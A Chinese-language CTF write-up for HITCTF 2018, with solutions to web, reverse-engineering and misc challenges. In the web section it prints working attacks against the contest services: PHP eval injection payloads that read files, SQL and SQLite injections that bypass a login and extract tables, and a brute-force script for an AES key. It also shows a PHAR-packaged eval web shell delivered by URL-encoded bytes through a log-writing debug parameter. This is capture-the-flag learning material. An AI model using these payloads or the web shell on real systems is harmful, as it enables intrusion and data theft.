HITCTF 2018 wp [我真是菜鸟]
2018-02-02 21:05
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PHPreading
源码泄露，存在index.php.bak，，解一下base64知道$flag=$_GET['asdfgjxzkallgj8852'];if($flag=='H1TctF2018EzCTF'){die($flag);}die('emmmm');输入得到flag
BabyEval
看一下泄露了一部分源码<!--
$str=@(string)$_GET['str'];
blackListFilter($black_list, $str);
eval('$str="'.addslashes($str).'";');
-->首先查到了如果是在双引号内可以通过这样的方式执行eval
?str=${${phpinfo()}}然后先输出全局变量看一下，没发现flag，但是看到了黑名单…
然而貌似没什么卵用，继续吧，是不是藏到了index.php中？但是看了以后发现也不是。。。
/?str=${${var_dump(file(chr(46).chr(47).chr(105).chr(110).chr(100).chr(101).chr(120).chr(46).chr(112).chr(104).chr(112)))}}可以查看index.php，然后就猜测应该还有别的文件了！然后最后在根目录找到了flag的文件
/?str=${${var_dump(glob(chr(47).chr(42)))}}
然后最后费劲巴拉终于解决了问题
/?str=${${var_dump(file(chr(47).chr(49).chr(54).chr(50).chr(57).chr(50).chr(48).chr(57).chr(55).chr(54).chr(100).chr(57).chr(99).chr(48).chr(52).chr(97).chr(99).chr(54).chr(57).chr(101).chr(50).chr(102).chr(52).chr(51).chr(57).chr(50).chr(97).chr(56).chr(99).chr(102).chr(102).chr(98).chr(102).chr(95).chr(102).chr(108).chr(97).chr(103).chr(46).chr(116).chr(120).chr(116)))}}
题目还是不错的。
补充一下我的方法肯能太笨了…补充好做的方法…
小电影
打开题目一看，说是ffmpeg,立马想到去年出的ffmpeg任意文件读取漏洞了，利用file协议的脆弱吧，但是这里不太好的就是不知道文件的路径，猜测flag.txt成功了。具体怎么做，其实就是用人家的脚本…脚本小子…上传的文件名必须是123.avi，最后得到flag如下
BabyInjection
给了源码<?php
error_reporting(0);
if (!isset($_POST['username']) || !isset($_POST['passwd'])) {
echo 'Login and get the flag';
echo '<form action="" method="post">'."<br/>";
echo '<input name="username" type="text" placeholder="username"/>'."<br/>";
echo '<input name="passwd" type="text" placeholder="passwd"/>'."<br/>";
echo '<input type="submit" ></input>'."<br/>";
echo '</form>'."<br/>";
die;
}
$flag = '';
$filter = "and|select|from|where|union|join|sleep|benchmark|,|\(|\)|like|rlike|regexp|limit|or";
$username = $_POST['username'];
$passwd = $_POST['passwd'];
if (preg_match("/".$filter."/is",$username)==1){
die("Hacker hacker hacker~");
}
if (preg_match("/".$filter."/is",$passwd)==1){
die("Hacker hacker hacker~");
}
$conn = mysqli_connect();
$query = "SELECT * FROM users WHERE username='{$username}';";
echo $query."<br>";
$query = mysqli_query($conn, $query);
if (mysqli_num_rows($query) == 1){
$result = mysqli_fetch_array($query);
if ($result['passwd'] == $passwd){
die('you did it and this is your flag: '.$flag);
}
else{
die('Wrong password');
}
}
else{
die('Wrong username');
}这个貌似是一道实验吧的原题，但是我实在是记不清楚了，最后发现是用with rollup绕过的,但是这里貌似限制了limit的使用，怎么限制呢？这里用了having，半天才想到，真是垃圾！
with rollup的特性在此不讲，和group by组合生成一个列为null的插入查询。然后用having passwd is null限制即可
最后构造如下
注意passwd不要输入内容，貌似因为mysql中的null转换到php中是一个空字符串，如果有输入就一定是“”==“某串”，肯定是错的。
好题好题！
BabyLeakage
这个题目我是有点不懂得，说真的都不知道怎么弄出来了，利用了网站的报错机制，首先显示报错泄露了文件的结构
然后构造这个
/news/article/1/1/类似的去爆信息
然后看到了很多不得了的信息啊
然后需要远程登陆一下他的mysql！
mysql> use F1agIsHere;
Database changed
mysql> describe f
-> ;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> describe f;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| H | text | YES | | NULL | |
| I | text | YES | | NULL | |
| TC | text | YES | | NULL | |
| T | text | YES | | NULL | |
| F | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
5 rows in set (0.02 sec)
mysql> describe l;
+---------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+---------+------+------+-----+---------+-------+
| { | text | YES | | NULL | |
| C10se_ | text | YES | | NULL | |
| Debu91n | text | YES | | NULL | |
+---------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> describe a;
+----------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+----------+------+------+-----+---------+-------+
| fo_Is_Im | text | YES | | NULL | |
| mmp | text | YES | | NULL | |
| ort | text | YES | | NULL | |
+----------+------+------+-----+---------+-------+
3 rows in set (0.02 sec)
mysql> describe g;
+-------+------+------+-----+---------+-------+
| Field | Type | Null | Key | Default | Extra |
+-------+------+------+-----+---------+-------+
| 4n7 | text | YES | | NULL | |
| } | text | YES | | NULL | |
+-------+------+------+-----+---------+-------+
2 rows in set (0.02 sec)最终答案
HITCTF{C10se_Debu91nfo_Is_Immmport4n7}SecurePY
这个题目本来没什么思路，结果找到了相似的题目，这是不是TWCTF2017的题目？呃呃呃，提示是/pycache/，然后想到了这个在 python-web 应用中，当前目录下， .py文件生成的pyc文件会被存储在 pycache文件夹中，并以 .cpython-XX.pyc 为扩展名，其中的 XX 与 CPython 版本有关。比如app.py，其对应的 pyc文件路径为 pycache/app.cpython-35.pyc。我们尝试访问：
http://123.206.83.157:8000/__pycache__/app.cpython-35.pyc
结果还真有东西！然后反编译得到代码
#!/usr/bin/env python # visit http://tool.lu/pyc/ for more information from flask import Flask, request, jsonify, render_template from Crypto.Cipher import AES from binascii import b2a_hex, a2b_hex import os app = Flask(__name__) flag_key = os.environ['KEY'] flag_enc = '9cf742955633f38d9c628bc9a9f98db042c6e4273a99944bc4cd150a0f7b9f317f52030329729ccf80798690667a0add' def index(): return render_template('index.html', flag_enc = flag_enc) index = app.route('/')(index) def getflag(): req = request.json if not req: return jsonify(result = False) if None not in req: return jsonify(result = False) key = None['key'] if len(key) != len(flag_key): return jsonify(result = False) for (x, y) in zip(key, flag_key): if ord(x) ^ ord(y): return jsonify(result = False) cryptor = AES.new(key, AES.MODE_CBC, b'0000000000000000') plain_text = cryptor.decrypt(a2b_hex(flag_enc)) flag = plain_text.decode('utf-8').strip() return jsonify(result = True, flag = flag) getflag = app.route('/getflag', methods = [ 'POST'])(getflag) if __name__ == '__main__': app.run()
这个是简化版本的，首先我们看到加密的密钥要用来作为CBC模式的密钥，那么不出意外是16位。
我们能根据服务器端返回来的信息来判断长度是否符合。我们传入的参数key，服务器端并没有验证它的类型，也就是说我们可以传入一个list，而不是一个字符串。我们为什么可以判断？看下图
如果是长度不匹配那么返回上面红色阔内return false了，如果通过进入下一句，如果json传入null，转换成python就变了
而ord(None)会崩溃返回500！
我们尝试一下
这就说明长度确实是16位的了。
然后我们继续看还有对密钥的判断
这是对每一位进行判断，某一位不通过反汇false，我们可以构造null结尾的数组，如果通过那么就会检测下一组的null，反汇500，如果没通过就会返回false！666直接写程序把
import requests
url = "http://123.206.83.157:8000/getflag"
key = [None,None,None,None,None,None,None,None,None,None,None,None,None,None,None,None]
for index in range(16):
for i in range(32,128):
key[index] = str(chr(i))
payload = {"key":key}
text = requests.post(url,json=payload).text
if "500 Internal Server Error" in text :
print("".join(key[:index+1]))
break
if "true" in text:
print("".join(key))
exit()然后就能爆破出密钥了，真的原题要更复杂一些，这里简化了。密钥为
5ecur3pPYpyPYk3y
HITCTF{O0o0o0oOracle_Attttttack_1s_yinQu3S17ing}BabyWrite
比赛后期一航巨佬都快放出来wp了…貌似就是XNUCA练习赛login，让一航大佬生生搞了个getshell的非常规做法，真心牛逼，这里限制更多了一些首先包含得到源码index.php
<?php
if(isset($_GET['page'])){
$file = $_GET['page'].'.php';
include($file);
}else{
header("Location: /?page=login");
die();
}
?>login.php
<!DOCTYPE html>
<html>
<head>
<title>CTF</title>
</head>
<body>
登陆解锁更多功能
<form action="login.php" method="POST">
用户名 : <input name="username" placeholder="username"><br/>
密码 : <input name="password" placeholder="password"><br/><br/>
<input type="submit" value="登陆">
</form>
</body>
</html>
<?php
require_once('config.php');
if(isset($_POST['username']) && isset($_POST['password'])){
$username = $_POST['username'];
$password = $_POST['password'];
if ($username === "admin" && sha1(md5($password)) === $admin_hash){
echo '<script>alert("Login seccess!");</script>';
}else{
if (isset($_GET['debug'])){
if($_GET['debug'] === 'hitctf'){
$logfile = "log/".$username.".log";
$content = $username." => ".$password;
file_put_contents($logfile, $content);
}else{
echo '<script>alert("Login failed!");</script>';
}
}else{
echo '<script>alert("Login failed!");</script>';
}
}
}else{
echo '<script>alert("Please input username and password!");</script>';
}
?>config.php
<?php $admin_hash = "df650edd89a1abfb417124133daf4c103e6d2e97";
尝试了王师傅的zip不行，问了一下说根本没装php zip，换了phar尝试，结果坑到死…mmp
首先是生成就废了很大功夫…真是傻一个单词坑一下午！！！
<?php
$phar = new Phar('shell.phar', 0);
$phar['shell.php'] = '<?php eval($_POST[\'cmd\']);?>' ;
$phar->setStub('<?php __HALT_COMPILER();?>');
?>生成文件，注意的是倒数28字节中，前20字节是文件校验和，sha1处理的，我们需要重新计算，因为文件中会加入一个
=>四字节
首先生成的文件是这样的
然后这样输入一下
username=1&password=%3c%3f%70%68%70%20%5f%5f%48%41%4c%54%5f%43%4f%4d%50%49%4c%45%52%28%29%3b%20%3f%3e%0d%0a%37%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00%73%68%65%6c%6c%2e%70%68%70%1c%00%00%00%23%35%74%5a%1c%00%00%00%1f%41%8d%73%b6%01%00%00%00%00%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%e5%f4%27%dc%f5%71%41%5a%47%c0%3d%32%d3%68%c6%a2%24%09%81%ff%02%00%00%00%47%42%4d%42
这个时候文件前面会多加5个字节！就是
1 =>(或者下载下来修改后的文件)
我们后面的工作就是加上这五个字节，重新计算一下校验！校验在就是sha1…这个sha1计算是去掉后28字节在计算…
def getSha1(filename): sha1Obj = sha1() with open(filename, 'rb') as f: sha1Obj.update(f.read()) return sha1Obj.hexdigest()
计算后更新一下…
调整后输入
username=1&password=%3c%3f%70%68%70%20%5f%5f%48%41%4c%54%5f%43%4f%4d%50%49%4c%45%52%28%29%3b%20%3f%3e%0d%0a%37%00%00%00%01%00%00%00%11%00%00%00%01%00%00%00%00%00%00%00%00%00%09%00%00%00%73%68%65%6c%6c%2e%70%68%70%1c%00%00%00%23%35%74%5a%1c%00%00%00%1f%41%8d%73%b6%01%00%00%00%00%00%00%3c%3f%70%68%70%20%65%76%61%6c%28%24%5f%50%4f%53%54%5b%27%63%6d%64%27%5d%29%3b%3f%3e%e7%1d%cc%17%64%66%5c%85%c9%4d%3a%7e%e9%2a%8a%cc%61%db%d8%a0%02%00%00%00%47%42%4d%42
哇…好难的题目…但是真是长见识了！！！感谢pr0ph3t师傅，膜膜膜！
BabyQuery
这个题目本来我没做出来，被上一题搞蒙蔽了…是什么Graphsql注入首先是看一下输入
类似json的格式，然后苏我欸的GE======其实是1的base32啦，但是我们进行别的测试的时候发现了长度限制
这就很麻烦了，然后我胡乱改了一下函数名字
还有另一个函数getscorebyyourname，尝试使用它
然后发现没有长度限制啦！但是我组到这里就jj了…
像mysql构造注入试一试…
1' union select '1
妈耶…然后正常注入试试
1' union select databases() where '1
呃呃呃？？？难道不是mysql，猜测是sqlite3喽
1' union select 1 from sqlite_master where '1
应该没跑了，因为sqlite_master是sqlite的隐藏表
0' union select(select name from sqlite_master where type='table' limit 1,1) where '1
看到了
Secr3t_fl4g
然后
0' union select(select * from Secr3t_fl4g) where '1
膜一发一叶飘零
REVERSE
Baby Android
简单的安卓签到题目得到简单的抑或代码
计算结果如下
s1 = '#$%$#!&#^_^~(:p@_*#######'
s2 = 'kmqgwg]Tm3=NE_/4ouKJW@WE^'
flag =''
for i in range(len(s1)):
flag +=chr(ord(s1[i])^ord(s2[i]))
print flag
#HITCTF{w3lc0me_t0_hitctf}网管的麒麟臂
没怎么接触过着实吓了我一跳，直接分析吧，其实最关键的要的是KEY而已c代码
#include <stdio.h>
#include <fcntl.h>
int key1(){
asm("mov r3, pc\n");
}
int key2(){
asm(
"push {r6}\n"
"add r6, pc, $1\n"
"bx r6\n"
".code 16\n"
"mov r3, pc\n"
"add r3, $0x4\n"
"push {r3}\n"
"pop {pc}\n"
".code 32\n"
"pop {r6}\n"
);
}
int key3(){
asm("mov r3, lr\n");
}
int main(){
int key=0;
printf("Enjoy Binnary!");
scanf("%d", &key);
if( (key1()+key2()+key3()) == key ){
printf("Congratz!\n");
}
else{
printf("Try Harder! XD\n");
}
return 0;
}dump值
(gdb) disass main
Dump of assembler code for function main:
0x00008d3c <+0>: push {r4, r11, lr}
0x00008d40 <+4>: add r11, sp, #8
0x00008d44 <+8>: sub sp, sp, #12
0x00008d48 <+12>: mov r3, #0
0x00008d4c <+16>: str r3, [r11, #-16]
0x00008d50 <+20>: ldr r0, [pc, #104] ; 0x8dc0 <main+132>
0x00008d54 <+24>: bl 0xfb6c <printf>
0x00008d58 <+28>: sub r3, r11, #16
0x00008d5c <+32>: ldr r0, [pc, #96] ; 0x8dc4 <main+136>
0x00008d60 <+36>: mov r1, r3
0x00008d64 <+40>: bl 0xfbd8 <__isoc99_scanf>
0x00008d68 <+44>: bl 0x8cd4 <key1>
0x00008d6c <+48>: mov r4, r0
0x00008d70 <+52>: bl 0x8cf0 <key2>
0x00008d74 <+56>: mov r3, r0
0x00008d78 <+60>: add r4, r4, r3
0x00008d7c <+64>: bl 0x8d20 <key3>
0x00008d80 <+68>: mov r3, r0
0x00008d84 <+72>: add r2, r4, r3
0x00008d88 <+76>: ldr r3, [r11, #-16]
0x00008d8c <+80>: cmp r2, r3
0x00008d90 <+84>: bne 0x8da8 <main+108>
0x00008d94 <+88>: ldr r0, [pc, #44] ; 0x8dc8 <main+140>
0x00008d98 <+92>: bl 0x1050c <puts>
0x00008d9c <+96>: ldr r0, [pc, #40] ; 0x8dcc <main+144>
0x00008da0 <+100>: bl 0xf89c <system>
0x00008da4 <+104>: b 0x8db0 <main+116>
0x00008da8 <+108>: ldr r0, [pc, #32] ; 0x8dd0 <main+148>
0x00008dac <+112>: bl 0x1050c <puts>
0x00008db0 <+116>: mov r3, #0
0x00008db4 <+120>: mov r0, r3
0x00008db8 <+124>: sub sp, r11, #8
0x00008dbc <+128>: pop {r4, r11, pc}
0x00008dc0 <+132>: andeq r10, r6, r12, lsl #9
0x00008dc4 <+136>: andeq r10, r6, r12, lsr #9
0x00008dc8 <+140>: ; <UNDEFINED> instruction: 0x0006a4b0
0x00008dcc <+144>: ; <UNDEFINED> instruction: 0x0006a4bc
0x00008dd0 <+148>: andeq r10, r6, r4, asr #9
End of assembler dump.
(gdb) disass key1
Dump of assembler code for function key1:
0x00008cd4 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cd8 <+4>: add r11, sp, #0
0x00008cdc <+8>: mov r3, pc
0x00008ce0 <+12>: mov r0, r3
0x00008ce4 <+16>: sub sp, r11, #0
0x00008ce8 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008cec <+24>: bx lr
End of assembler dump.
(gdb) disass key2
Dump of assembler code for function key2:
0x00008cf0 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008cf4 <+4>: add r11, sp, #0
0x00008cf8 <+8>: push {r6} ; (str r6, [sp, #-4]!)
0x00008cfc <+12>: add r6, pc, #1
0x00008d00 <+16>: bx r6
0x00008d04 <+20>: mov r3, pc
0x00008d06 <+22>: adds r3, #4
0x00008d08 <+24>: push {r3}
0x00008d0a <+26>: pop {pc}
0x00008d0c <+28>: pop {r6} ; (ldr r6, [sp], #4)
0x00008d10 <+32>: mov r0, r3
0x00008d14 <+36>: sub sp, r11, #0
0x00008d18 <+40>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d1c <+44>: bx lr
End of assembler dump.
(gdb) disass key3
Dump of assembler code for function key3:
0x00008d20 <+0>: push {r11} ; (str r11, [sp, #-4]!)
0x00008d24 <+4>: add r11, sp, #0
0x00008d28 <+8>: mov r3, lr
0x00008d2c <+12>: mov r0, r3
0x00008d30 <+16>: sub sp, r11, #0
0x00008d34 <+20>: pop {r11} ; (ldr r11, [sp], #4)
0x00008d38 <+24>: bx lr
End of assembler dump.
(gdb)首先KEY1的关键点
KEY1=0x00008cdc+8 (注意PC值都是先偏移再计算的)
再看KEY2的关键点
bx指令特别说明一下，带状态切换的跳转。最低位为1时，切换到Thumb指令执行，为0时，解释为ARM指令执行。所谓的Thumb模式就是自带的一种16位的指令集。这个时候pc不是+8了而是+4！所以我们下面的计算如下
r6=0x00008cfc+8=0x00008d00 因为最低位是0所以切换到Thumb模式 r3=0x00008d04+4 KEY2=r0=r3=r3+4
最后看一下KEY3，是一样的道理
你说LR寄存器？他的作用是记录子函数的返回地址或者是异常时候当前地址-4，所以这个地方没异常，所以地点是
KEY3=0x00008d80
最后计算三个值和为108400
学习资料的密码
关键函数在于basen这个函数上，密文是llW00ml0lWeml3Weceec3m03c0e!0mc!cW0cl3ecc3lm!0eccllecmmWcmWcmWm3c!l
简单分析一下程序，目标总共67位，67=8*8+3，满足输入长度n%3==1的情况，所以输入的字符串长度为8*3+1=25位，然后写程序把它还原回来
s = 'llW00ml0lWeml3Weceec3m03c0e!0mc!cW0cl3ecc3lm!0eccllecmmWcmWcmWm3c!l' table = 'W3lc0me!' flag='' for i in range(len(s)/8): temp = s[i:i+8] c=((table.index(s[i*8+2])&6)>>1)|(table.index(s[i*8+1])<<2)|(table.index(s[i*8+0])<<5) flag+=chr((int)(c)) c=((table.index(s[i*8+2])&1)<<7)|(table.index(s[i*8+3])<<4)|(table.index(s[i*8+4])<<1)|((table.index(s[i*8+5])&4)>>2) flag+=chr((int)(c)) c=((table.index(s[i*8+5])&3)<<6)|(table.index(s[i*8+6])<<3)|(table.index(s[i*8+7])) flag+=chr((int)(c)) c=((table.index(s[66])&6)>>1)|(table.index(s[65])<<2)|(table.index(s[64])<<5) flag+=chr((int)(c)) print flag
HITCTF{3asy_b4se_3ight:)}最终难题又没做…
MISC
签到
BaSO4
用pyc反编译器反编译得到代码# Embedded file name: base_32_64.py
import base64
import random
import os
import sys
with open('flag.txt', 'r') as file:
flag = file.read()
for i in range(0, 20):
if random.randint(0, 1):
flag = base64.b64encode(flag)
else:
flag = base64.b32encode(flag)
with open('flag_encode.txt', 'w') as file:
file.write(flag)反正不是base64就是base32了，倒是不用写脚本，手动尝试即可
HITCTF{Dont_dive_into_misc}攻击流量分析
其实就是文件目录扫描，然后再后面成功了两个
分别是index.php和flag.txt（这里丢了个=），明显我们要的就是第二个了
<?php
$data = "\x78\x9c\xcb\xc8\x2c\x49\x2e\x49\xab\xb6\x30\x4d\x32\x48\x4c\x35\x4e\xb4\x48\x34\x37\xb0\x48\xb2\x34\x32\x4f\x4a\x33\x4c\x34\x36\x48\x49\x4b\x33\x4e\x36\x33\x35\x31\xa8\xe5\x02\x00\x18\xcb\x0c\x6c";
print_r(gzuncompress($data));
?>
//hitctf{85b0ae3a8a708b927bf1a30dff3c6540}use_your_ida
这个题目的套路在MCTF上见过，最后就是利用流程图组成一个图片吧
键盘流量分析
这个键盘敲击记录，我不是很会，但是我发现不是很会的东西去看看一航巨佬总是有收获，修改修改一下一航巨佬的代码就能使用了（具体需要看一下流量中的数据）#!/usr/bin/env python
import sys
import os
DataFileName = "usb.dat"
presses = []
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>","ff":""}
shiftKeys = {"04":"A", "05":"B", "06":"C", "07":"D", "08":"E", "09":"F", "0a":"G", "0b":"H", "0c":"I", "0d":"J", "0e":"K", "0f":"L", "10":"M", "11":"N", "12":"O", "13":"P", "14":"Q", "15":"R", "16":"S", "17":"T", "18":"U", "19":"V", "1a":"W", "1b":"X", "1c":"Y", "1d":"Z","1e":"!", "1f":"@", "20":"#", "21":"$", "22":"%", "23":"^","24":"&","25":"*","26":"(","27":")","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"_","2e":"+","2f":"{","30":"}","31":"|","32":"<NON>","33":"\"","34":":","35":"<GA>","36":"<","37":">","38":"?","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>","ff":""}
def main():
# check argv
if len(sys.argv) != 2:
print "Usage : "
print " python UsbKeyboardHacker.py data.pcap"
print "Tips : "
print " To use this python script , you must install the tshark first."
print " You can use `sudo apt-get install tshark` to install it"
print "Author : "
print " WangYihang <wangyihanger@gmail.com>"
print " If you have any questions , please contact me by email."
print " Thank you for using."
exit(1)
# get argv
pcapFilePath = sys.argv[1]
# get data of pcap
os.system("tshark -r %s -T fields -e usb.capdata > %s" % (pcapFilePath, DataFileName))
# read data
with open(DataFileName, "r") as f:
for line in f:
presses.append(line[0:-1])
# handle
result = ""
for press in presses:
Bytes = press.split(":")
if Bytes[0] == "00":
if Bytes[2] != "00":
result += normalKeys[Bytes[2]]
elif Bytes[0] == "02": # shift key is pressed.
if Bytes[2] != "00":
result += shiftKeys[Bytes[2]]
else:
print "[-] Unknow Key : %s" % (Bytes[0])
print "[+] Found : %s" % (result)
# clean the temp data
os.system("rm ./%s" % (DataFileName))
if __name__ == "__main__":
main()
根据flag格式改一下就行了。
CRYPTO根本没做…菜
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